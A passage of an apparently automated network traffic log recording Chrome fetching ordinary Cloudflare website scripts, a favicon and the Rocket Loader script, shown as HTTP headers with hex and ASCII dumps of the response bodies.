2024-10-18 13:48:03 UTC	954	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"8ba6db0cccaedfd1ae5a13f0299640b3" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UGavoPgn8vD3HMcJaOxaGZZBDL1DU6h9QHCLe%2BSXpo%2Bm9M7J05C%2Fri0oRoxzsbOOzCkO6SO8k7d3038Y63fP1vzBOcNgddSyS7ziajYcWZR9pDLHf1OTExxzPMdRvfoQxIdfOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbda1e434600-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	415	IN	Data Raw: 37 62 66 37 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 70 70 2d 35 65 62 38 37 31 34 31 33 32 31 37 33 34 32 36 66 33 62 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 32 34 5d 2c 7b 33 38 31 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: 7bf7/! For license information please see app-5eb8714132173426f3bb.js.LICENSE.txt /(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[524],{38157:function(e,t,n){"use strict";n.d(t,{Z:function(){retur
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 2c 6e 29 7b 28 30 2c 72 2e 75 73 65 45 66 66 65 63 74 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 63 75 72 72 65 6e 74 26 26 28 74 2e 63 75 72 72 65 6e 74 5b 65 5d 3d 6e 29 7d 29 2c 5b 65 2c 6e 2c 74 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6c 29 2c 28 30 2c 72 2e 75 73 65 45 66 66 65 63 74 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 2e 63 75 72 72 65 6e 74 29 7b 76 61 72 20 72 3d 74 2e 63 75 72 72 65 6e 74 3b 72 65 74 75 72 6e 20 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 6e 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 6e 29 7d 7d 7d 29 2c 5b 6e 2c 65 2c 74 5d 29 7d 76 Data Ascii: ,n){(0,r.useEffect)((function(){t.current&&(t.current[e]=n)}),[e,n,t])}function s(e,t,n){void 0===n&&(n=l),(0,r.useEffect)((function(){if(t.current){var r=t.current;return r.addEventListener(e,n),function(){return r.removeEventListener(e,n)}}}),[n,e,t])}v
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 2e 73 74 61 72 74 54 69 6d 65 2c 4e 3d 65 2e 73 74 72 65 61 6d 52 65 66 2c 44 3d 65 2e 72 65 73 70 6f 6e 73 69 76 65 2c 59 3d 76 6f 69 64 20 30 3d 3d 3d 44 7c 7c 44 2c 48 3d 65 2e 63 6c 61 73 73 4e 61 6d 65 2c 50 3d 65 2e 74 69 74 6c 65 2c 52 3d 65 2e 6f 6e 41 62 6f 72 74 2c 6a 3d 65 2e 6f 6e 43 61 6e 50 6c 61 79 2c 42 3d 65 2e 6f 6e 43 61 6e 50 6c 61 79 54 68 72 6f 75 67 68 2c 46 3d 65 2e 6f 6e 44 75 72 61 74 69 6f 6e 43 68 61 6e 67 65 2c 55 3d 65 2e 6f 6e 45 6e 64 65 64 2c 7a 3d 65 2e 6f 6e 45 72 72 6f 72 2c 57 3d 65 2e 6f 6e 4c 6f 61 64 65 64 44 61 74 61 2c 4b 3d 65 2e 6f 6e 4c 6f 61 64 65 64 4d 65 74 61 44 61 74 61 2c 56 3d 65 2e 6f 6e 4c 6f 61 64 53 74 61 72 74 2c 47 3d 65 2e 6f 6e 50 61 75 73 65 2c 71 3d 65 2e 6f 6e 50 6c 61 79 2c 5a 3d 65 2e 6f 6e Data Ascii: .startTime,N=e.streamRef,D=e.responsive,Y=void 0===D\|\|D,H=e.className,P=e.title,R=e.onAbort,j=e.onCanPlay,B=e.onCanPlayThrough,F=e.onDurationChange,U=e.onEnded,z=e.onError,W=e.onLoadedData,K=e.onLoadedMetaData,V=e.onLoadStart,G=e.onPause,q=e.onPlay,Z=e.on
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 72 62 6f 78 43 6f 6c 6f 72 3a 45 2c 61 64 55 72 6c 3a 6f 2c 64 65 66 61 75 6c 74 54 65 78 74 54 72 61 63 6b 3a 54 2c 73 74 61 72 74 54 69 6d 65 3a 49 7d 29 2c 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e 65 77 20 55 52 4c 28 65 29 3b 72 65 74 75 72 6e 20 74 2e 68 6f 73 74 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 22 76 69 64 65 6f 64 65 6c 69 76 65 72 79 2e 6e 65 74 22 29 7c 7c 74 2e 68 6f 73 74 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 22 63 6c 6f 75 64 66 6c 61 72 65 73 74 72 65 61 6d 2e 63 6f 6d 22 29 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 74 29 3f 74 3a 68 65 3b 72 65 74 75 72 6e 20 69 28 22 6d 75 74 65 64 22 2c 75 65 2c 70 29 2c 69 28 22 63 6f 6e 74 72 6f 6c 73 22 2c 75 65 2c 63 29 2c 69 28 22 Data Ascii: rboxColor:E,adUrl:o,defaultTextTrack:T,startTime:I}),ge=function(e){try{var t=new URL(e);return t.hostname.endsWith("videodelivery.net")\|\|t.hostname.endsWith("cloudflarestream.com")}catch(n){return!1}}(t)?t:he;return i("muted",ue,p),i("controls",ue,c),i("
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 74 3a 6b 2c 77 69 64 74 68 3a 4d 2c 61 6c 6c 6f 77 3a 22 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3b 20 67 79 72 6f 73 63 6f 70 65 3b 20 61 75 74 6f 70 6c 61 79 3b 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3b 20 70 69 63 74 75 72 65 2d 69 6e 2d 70 69 63 74 75 72 65 3b 22 2c 61 6c 6c 6f 77 46 75 6c 6c 53 63 72 65 65 6e 3a 21 30 7d 29 29 7d 7d 2c 34 32 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 2c 6f 3d 6e 28 39 36 35 34 30 29 2c 61 3d 28 72 3d 6f 29 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 22 64 65 66 61 75 6c 74 22 69 6e 20 72 3f 72 2e 64 65 66 61 75 6c 74 3a 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 3d 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: t:k,width:M,allow:"accelerometer; gyroscope; autoplay; encrypted-media; picture-in-picture;",allowFullScreen:!0}))}},4240:function(e,t,n){"use strict";var r,o=n(96540),a=(r=o)&&"object"==typeof r&&"default"in r?r.default:r,i=function(){return i=Object.ass
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 65 2e 54 41 42 4c 45 5f 48 45 41 44 45 52 5f 43 45 4c 4c 3d 22 74 61 62 6c 65 2d 68 65 61 64 65 72 2d 63 65 6c 6c 22 7d 28 6e 7c 7c 28 74 2e 42 4c 4f 43 4b 53 3d 6e 3d 7b 7d 29 29 7d 29 29 3b 6c 28 75 29 3b 75 2e 42 4c 4f 43 4b 53 3b 76 61 72 20 64 3d 63 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 49 4e 4c 49 4e 45 53 3d 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 48 59 50 45 52 4c 49 4e 4b 3d 22 68 79 70 65 72 6c 69 6e 6b 22 2c 65 2e 45 4e 54 52 59 5f 48 59 50 45 52 4c 49 4e 4b 3d 22 65 6e 74 72 79 2d 68 79 70 65 72 6c 69 6e 6b 22 2c 65 2e 41 53 53 45 54 5f 48 59 Data Ascii: e.TABLE_HEADER_CELL="table-header-cell"}(n\|\|(t.BLOCKS=n={}))}));l(u);u.BLOCKS;var d=c((function(e,t){var n;Object.defineProperty(t,"__esModule",{value:!0}),t.INLINES=void 0,function(e){e.HYPERLINK="hyperlink",e.ENTRY_HYPERLINK="entry-hyperlink",e.ASSET_HY
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 2e 42 4c 4f 43 4b 53 2e 4f 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 55 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 48 52 2c 75 2e 42 4c 4f 43 4b 53 2e 51 55 4f 54 45 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 41 53 53 45 54 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 52 45 53 4f 55 52 43 45 2c 75 2e 42 4c 4f 43 4b 53 2e 54 41 42 4c 45 5d 2c 74 2e 4c 49 53 54 5f 49 54 45 4d 5f 42 4c 4f 43 4b 53 3d 5b 75 2e 42 4c 4f 43 4b 53 2e 50 41 52 41 47 52 41 50 48 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 31 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 32 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 33 2c 75 2e 42 4c 4f 43 4b 53 Data Ascii: .BLOCKS.OL_LIST,u.BLOCKS.UL_LIST,u.BLOCKS.HR,u.BLOCKS.QUOTE,u.BLOCKS.EMBEDDED_ENTRY,u.BLOCKS.EMBEDDED_ASSET,u.BLOCKS.EMBEDDED_RESOURCE,u.BLOCKS.TABLE],t.LIST_ITEM_BLOCKS=[u.BLOCKS.PARAGRAPH,u.BLOCKS.HEADING_1,u.BLOCKS.HEADING_2,u.BLOCKS.HEADING_3,u.BLOCKS
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 4b 53 2e 48 45 41 44 49 4e 47 5f 36 2c 75 2e 42 4c 4f 43 4b 53 2e 4f 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 55 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 4c 49 53 54 5f 49 54 45 4d 2c 75 2e 42 4c 4f 43 4b 53 2e 48 52 2c 75 2e 42 4c 4f 43 4b 53 2e 51 55 4f 54 45 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 41 53 53 45 54 2c 64 2e 49 4e 4c 49 4e 45 53 2e 48 59 50 45 52 4c 49 4e 4b 2c 64 2e 49 4e 4c 49 4e 45 53 2e 45 4e 54 52 59 5f 48 59 50 45 52 4c 49 4e 4b 2c 64 2e 49 4e 4c 49 4e 45 53 2e 41 53 53 45 54 5f 48 59 50 45 52 4c 49 4e 4b 2c 64 2e 49 4e 4c 49 4e 45 53 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 2c 22 74 65 78 74 22 5d 2c 74 2e 56 31 5f 4d 41 52 4b Data Ascii: KS.HEADING_6,u.BLOCKS.OL_LIST,u.BLOCKS.UL_LIST,u.BLOCKS.LIST_ITEM,u.BLOCKS.HR,u.BLOCKS.QUOTE,u.BLOCKS.EMBEDDED_ENTRY,u.BLOCKS.EMBEDDED_ASSET,d.INLINES.HYPERLINK,d.INLINES.ENTRY_HYPERLINK,d.INLINES.ASSET_HYPERLINK,d.INLINES.EMBEDDED_ENTRY,"text"],t.V1_MARK
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 6e 29 3b 6f 26 26 21 28 22 67 65 74 22 69 6e 20 6f 3f 21 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3a 6f 2e 77 72 69 74 61 62 6c 65 7c 7c 6f 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 29 7c 7c 28 6f 3d 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 5b 6e 5d 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 6f 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 76 6f 69 64 20 30 3d 3d 3d 72 26 26 28 72 3d 6e 29 2c 65 5b 72 5d 3d 74 5b 6e 5d 7d 29 2c 72 3d 73 26 26 73 2e 5f 5f 73 65 74 4d 6f 64 75 6c 65 44 65 66 61 75 6c 74 7c 7c 28 4f 62 6a Data Ascii: o=Object.getOwnPropertyDescriptor(t,n);o&&!("get"in o?!t.__esModule:o.writable\|\|o.configurable)\|\|(o={enumerable:!0,get:function(){return t[n]}}),Object.defineProperty(e,r,o)}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),r=s&&s.__setModuleDefault\|\|(Obj
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 20 72 3d 43 28 65 2c 74 29 2c 61 3d 6e 2c 6f 2e 69 73 56 61 6c 69 64 45 6c 65 6d 65 6e 74 28 72 29 26 26 6e 75 6c 6c 3d 3d 3d 72 2e 6b 65 79 3f 6f 2e 63 6c 6f 6e 65 45 6c 65 6d 65 6e 74 28 72 2c 7b 6b 65 79 3a 61 7d 29 3a 72 3b 76 61 72 20 72 2c 61 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 72 65 6e 64 65 72 4e 6f 64 65 2c 72 3d 74 2e 72 65 6e 64 65 72 4d 61 72 6b 2c 6f 3d 74 2e 72 65 6e 64 65 72 54 65 78 74 2c 69 3d 74 2e 70 72 65 73 65 72 76 65 57 68 69 74 65 73 70 61 63 65 3b 69 66 28 45 2e 69 73 54 65 78 74 28 65 29 29 7b 76 61 72 20 73 3d 6f 3f 6f 28 65 2e 76 61 6c 75 65 29 3a 65 2e 76 61 6c 75 65 3b 69 66 28 69 29 7b 76 61 72 20 6c 3d 28 73 3d 73 2e 72 65 70 6c 61 63 65 28 2f 20 7b 32 2c 7d 2f 67 2c 28 66 75 Data Ascii: r=C(e,t),a=n,o.isValidElement(r)&&null===r.key?o.cloneElement(r,{key:a}):r;var r,a}))}function C(e,t){var n=t.renderNode,r=t.renderMark,o=t.renderText,i=t.preserveWhitespace;if(E.isText(e)){var s=o?o(e.value):e.value;if(i){var l=(s=s.replace(/ {2,}/g,(fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	50714	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	823	OUT	GET /favicon.ico HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	964	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: image/vnd.microsoft.icon Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"ffb25f3edc5c56acfdf7e7cdffcb217c" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kEtb8a37lcCMC4tTH6tI9yhnlmhmYUUeY%2FRbNvDDdGKti1pRpYD3pa%2FjXCBcN59mzfupS2%2BtVVbs9%2BPm2nn96LjSS%2Bj0hlr%2F2SSJ5VEOnhmDKH%2Fy8M7cxOwg8cl4gPKhzYdpRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbda1cc06c44-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	405	IN	Data Raw: 39 62 35 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 09 67 49 44 41 54 78 5e ed 9c 0d b0 54 55 1d c0 cf b9 5f fb fd 7c 5f fb f0 21 8f 8f 92 04 b3 52 9f cc 18 90 28 53 d6 a4 98 cd 40 84 f6 01 8a 41 08 53 69 8d 59 7e 94 d9 c8 a7 90 23 98 33 45 c1 34 a0 39 45 4a d9 d0 68 81 02 35 bd 1a 13 1a 34 23 44 94 07 cb 7b 6f df be dd bd bb 7b bf ce bf ff b9 8f 47 4f e2 c1 dd bd bb fb f6 c9 d9 99 c3 79 bb f7 ff f9 fb 9f 7b f7 9e b3 e7 42 88 78 09 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 ef 25 Data Ascii: 9b5PNGIHDR``w8pHYs+gIDATx^TU_\|_!R(S@ASiY~#3E49EJh54#D{o{GOy{Bx %
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 8b 90 60 6b db 6a 1b b4 ef 04 6f db 6e 95 dd be 47 83 35 59 80 de c7 af 51 23 01 65 83 d9 79 78 21 01 c7 63 2a a5 89 49 4d 13 d2 a1 c6 f8 74 7a eb 33 fb 4b b3 e0 4f ab e6 0a 90 5a 37 ad 45 01 d6 41 fa 3a c7 fa 4b ad 08 6d 59 23 e1 89 ed 0f 4a 9f 7f ea a1 22 b4 ca 22 5a 53 05 48 ad 9d 76 b1 62 1b 07 88 de a5 96 25 bb 22 8d 84 2e 9b b1 55 9e bd f9 96 22 d5 7c 89 4b be b4 cb a8 8c f0 27 a8 76 e1 df c3 05 9f a7 92 ff e7 ae 79 ec d7 f3 1f 2b 63 5a e7 34 55 13 05 48 ac bc ba 4e 61 c6 ab a0 77 9f 33 e0 4a 0b e4 f6 ef 5c 06 bf fd ca fc 4a fb 19 b0 5f 13 05 88 06 95 3f 92 4c 57 ac 5a 49 9f d5 0f 00 d1 f7 ed fe 19 6c 5b 38 a9 1a f1 0c 7b 01 72 1b ae 5d 0c c9 b7 db ab 91 ac 67 1f a6 4e 0a 9d 6f be ec 59 de 87 e0 b0 16 a0 73 e5 d4 20 64 d3 4f f8 88 bf 62 aa 4e d7 c1 Data Ascii: `kjonG5YQ#eyx!c*IMtz3KOZ7EA:KmY#J""ZSHvb%".U"\|K'vy+cZ4UHNaw3J\J_?LWZIl[8{r]gNoYs dObN
2024-10-18 13:48:03 UTC	718	IN	Data Raw: 47 37 e5 bb 6e 31 72 7c 98 82 52 fe f0 04 6f 16 56 c7 22 0c 4c ec 6d dc a2 e3 8e 76 ec 4d 00 b0 80 41 01 7b 1e 23 8e 74 94 05 2e 83 9f 73 dd fe 1e 47 b7 ab 83 c7 70 a4 0f 8c 78 de f3 b3 83 30 13 cf 22 13 9d f7 d9 44 7a ed a2 fb 3b 4a 4a 18 fe 7e 6f 0b 91 c9 14 b4 3f 0e 0b d0 82 0f 86 c4 f1 2c 6b 61 96 5d 8f 0f 8a 34 82 a5 6b 2c 9f 6a a5 66 f6 ac bb ba b5 b1 1f de e8 16 a0 6f cd 15 db e5 4c f2 c6 8a d1 af 45 c3 78 0d 53 e3 6d 7b b1 52 37 45 ef dc 7d ce ad 19 f0 97 65 71 42 d9 0a 2b d9 77 0b 64 8f 06 ca 91 92 dc 3c f9 1d 9a 58 3d b5 35 a2 1f eb ac e4 e8 2f 47 b0 15 b3 11 ac 23 52 43 c3 47 c2 8b 5e da 37 94 0f d8 f9 85 2d 66 f7 b1 79 e5 66 44 63 e3 88 72 41 88 cd b1 b3 25 9d 89 15 63 52 55 c3 38 c1 64 7a 68 2f fa 8c 9e ee d7 f9 fd ec 7a 60 d6 ab 66 d7 d1 8a Data Ascii: G7n1r\|RoV"LmvMA{#t.sGpx0"Dz;JJ~o?,ka]4k,jfoLExSm{R7E}eqB+wd<X=5/G#RCG^7-fyfDcrA%cRU8dzh/z`f
2024-10-18 13:48:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	50718	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	593	OUT	GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	762	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: application/javascript Content-Length: 12332 Connection: close Last-Modified: Wed, 16 Oct 2024 12:41:59 GMT ETag: "670fb497-302c" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A4D%2FQXLSb7mzsVVUp1PTRe9BeFz%2F36Ma71wHEIMD2tKbFv5EisbQZBbx8NDJxioWq%2Bza1VycCSkgOGIcmnsxgSefK55gLfeG5tyClw5i0R2%2FSMBwncLwkOB%2FhlXsIJw1ur9ARA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbdb1d3de70e-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sun, 20 Oct 2024 13:48:03 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-10-18 13:48:03 UTC	607	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 22 63 66 2d 6d 61 72 6b 65 72 2d 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 6c 69 63 65 28 32 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 28 6e 3d 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 7c 7c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 6e 2c 5b 63 6f 6e 73 6f 6c 65 2c 22 5b 52 4f 43 4b 45 54 20 4c 4f 41 44 45 52 5d 20 22 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3b 76 61 72 20 6e 7d 66 75 6e 63 Data Ascii: !function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}func
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 28 74 29 7b 72 65 74 75 72 6e 20 61 28 74 2c 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 65 28 29 2c 74 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 65 29 7b 74 2e 6f 6e 6c 6f 61 64 3d 73 28 74 2e 6f 6e 6c 6f 61 64 2c 65 29 2c 74 2e 6f 6e 65 72 72 6f 72 3d 73 28 74 2e 6f 6e 65 72 72 6f 72 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 74 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 22 73 63 72 69 70 74 22 29 3b 65 2e 61 73 79 6e 63 3d 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 Data Ascii: ion c(t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"
